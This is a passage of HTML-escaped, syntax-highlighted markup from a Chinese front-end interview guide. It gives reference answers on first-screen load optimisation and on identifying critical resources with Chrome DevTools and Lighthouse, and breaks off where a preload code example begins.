&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#f92672"&gt;------------&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#f92672"&gt;-----&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#f92672"&gt;-----&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;首屏加载时间（&lt;/span&gt;TTFB&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.8&lt;/span&gt;s &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.9&lt;/span&gt;s &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; JS包大小 &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.2&lt;/span&gt;MB &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;450&lt;/span&gt;KB &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;首屏渲染（&lt;/span&gt;FCP&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3.5&lt;/span&gt;s &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.2&lt;/span&gt;s &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;可交互时间（&lt;/span&gt;TTI&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5.2&lt;/span&gt;s &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.9&lt;/span&gt;s &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 四、常见误区与陷阱&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;盲目使用懒加载&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：过度懒加载会导致首屏核心内容延迟&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;未合理拆分&lt;/span&gt; vendor &lt;span style="color:#960050;background-color:#1e0010"&gt;包&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：导致主包过大&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;骨架屏布局不一致或闪烁&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：影响用户体验&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 五、总结&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;首屏优化是系统性工程，涵盖网络传输、资源管理、组件拆分、渲染路径等多环节。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;应结合业务场景按阶段优化，配合&lt;/span&gt; Lighthouse&lt;span style="color:#f92672"&gt;/&lt;/span&gt;Chrome DevTools &lt;span style="color:#960050;background-color:#1e0010"&gt;实时评估效果。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;目标是压缩关键资源、减少阻塞、加快首屏渲染并保障体验一致性。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;details&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## 3. 如何识别首屏关键资源 {#question-subjective-9bbab0275c1b}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 题目要点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;明确首屏关键资源的定义与分类&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;能列出识别方法：&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Performance&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;Lighthouse&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;Network&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;Coverage
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;能结合项目给出识别&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;优化的实际策略&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;有资源优先级调度、渲染阻塞等知识支撑&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;details&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;summary&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;参考答案&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;summary&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 考察点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### ● 识别影响首屏渲染的关键资源&amp;lt;br&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;考察候选人对渲染链路和性能瓶颈的理解。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### ● 熟悉浏览器加载机制与资源优先级调度&amp;lt;br&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;考察对&lt;/span&gt; Chrome DevTools&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Performance&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;面板等性能工具的使用能力。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 参考答案&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 一、首屏关键资源的定义&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;首屏关键资源&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;是指那些&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;必须在首屏渲染前加载完成&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，否则会&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;阻塞页面首屏展示&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;的资源。常见类型包括：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;HTML &lt;span style="color:#960050;background-color:#1e0010"&gt;入口文件&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：解析整个页面结构的根文档&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;CSS &lt;span style="color:#960050;background-color:#1e0010"&gt;样式表&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt;CSS &lt;span style="color:#960050;background-color:#1e0010"&gt;是阻塞渲染的，必须加载后才能绘制页面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;首屏&lt;/span&gt; JS &lt;span style="color:#960050;background-color:#1e0010"&gt;脚本&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：用于首屏交互或组件逻辑初始化的&lt;/span&gt; JS&lt;span style="color:#960050;background-color:#1e0010"&gt;（例如&lt;/span&gt; React&lt;span style="color:#f92672"&gt;/&lt;/span&gt;Vue &lt;span style="color:#960050;background-color:#1e0010"&gt;渲染逻辑）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;首屏图片&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt;Banner&lt;span style="color:#960050;background-color:#1e0010"&gt;、大图等占据首屏核心位置的可见资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;字体文件（可选）&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：若首屏需展示特殊字体（注意&lt;/span&gt; FOUT &lt;span style="color:#960050;background-color:#1e0010"&gt;问题）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 二、识别关键资源的方法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 1. 使用 Chrome DevTools → Performance 面板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1.&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;打开页面，&lt;/span&gt;F12 &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Performance&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;开始录制&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2.&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;观察：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;Loading &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段的资源瀑布图&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;（&lt;/span&gt;Network Timing&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;Longest Frame Before First Paint&lt;span style="color:#f92672"&gt;**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;标出首屏时间点前加载完成的资源，即为关键资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 2. 使用 Chrome DevTools → Coverage 面板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;识别“实际使用的&lt;/span&gt; CSS&lt;span style="color:#f92672"&gt;/&lt;/span&gt;JS&lt;span style="color:#960050;background-color:#1e0010"&gt;”&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;可以看出哪些资源在首屏期间被真正用到，哪些是冗余代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 3. 使用 Lighthouse 报告&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; Lighthouse &lt;span style="color:#960050;background-color:#1e0010"&gt;中的“&lt;/span&gt;Diagnostics&lt;span style="color:#960050;background-color:#1e0010"&gt;”项会指出：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阻塞渲染的资源（&lt;/span&gt;Render Blocking Resources&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; Critical Request Chains
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; Unused JS&lt;span style="color:#f92672"&gt;/&lt;/span&gt;CSS &lt;span style="color:#960050;background-color:#1e0010"&gt;提示，帮助精简非关键资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 4. 查看 Chrome DevTools → Network 面板排序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;按时间排序，查看首屏渲染前加载的资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;关注&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;Initiator&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;列，了解加载来源（&lt;/span&gt;HTML&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;JS &lt;span style="color:#960050;background-color:#1e0010"&gt;引入、&lt;/span&gt;CSS &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;import&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 三、首屏关键资源识别的原则&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;资源类型&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;是否为关键资源&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;原因说明&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|--------------|----------------|-----------|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;index&lt;span style="color:#f92672"&gt;.&lt;/span&gt;html&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;✅&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; HTML &lt;span style="color:#960050;background-color:#1e0010"&gt;是渲染入口&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;main&lt;span style="color:#f92672"&gt;.&lt;/span&gt;css&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;✅&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阻塞渲染，必须先加载&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;main&lt;span style="color:#f92672"&gt;.&lt;/span&gt;js&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;✅&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;驱动页面逻辑，渲染主视图&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;首页大图&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;✅&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;首屏可见，未加载即白屏&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; lazy&lt;span style="color:#f92672"&gt;.&lt;/span&gt;js &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;❌&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;延迟加载，非首屏资源&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;用户点击后加载的组件&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;❌&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;用户交互后才需要，不影响首屏&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 四、如何标记与优化首屏资源加载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### ✅ 使用 `&amp;amp;lt;link rel=&amp;#34;preload&amp;#34;&amp;amp;gt;` 预加载关键资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;```&lt;/span&gt;html
